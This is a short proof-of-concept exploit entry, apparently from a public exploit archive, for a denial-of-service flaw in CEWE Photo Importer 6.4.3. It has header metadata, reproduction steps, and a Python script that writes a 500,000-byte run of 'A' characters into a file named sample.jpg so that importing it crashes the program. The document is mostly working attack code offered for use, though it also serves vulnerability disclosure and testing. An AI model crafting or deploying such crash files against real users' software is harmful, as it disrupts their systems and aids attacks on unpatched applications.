CEWE Photo Importer 6.4.3 Denial Of Service

`# -*- coding: utf-8 -*-  
# Exploit Title: CEWE PHOTO IMPORTER 6.4.3 - Denial of Service (PoC)  
# Date: 16/05/2019  
# Author: Alejandra Sánchez  
# Vendor Homepage: https://cewe-photoworld.com/  
# Software: https://cewe-photoworld.com/creator-software/windows-download  
# Version: 6.4.3  
# Tested on: Windows 10  
  
# Proof of Concept:  
# 1.- Run the python script 'photoimporter.py',it will create a new file "sample.jpg"  
# 2.- Open CEWE PHOTO IMPORTER  
# 3.- Select the 'sample.jpg' file created and click 'Import all'  
# 4.- Click 'Next' and 'Next', you will see a crash  
  
buffer = "\x41" * 500000  
  
f = open ("sample.jpg", "w")  
f.write(buffer)  
f.close()  
  
`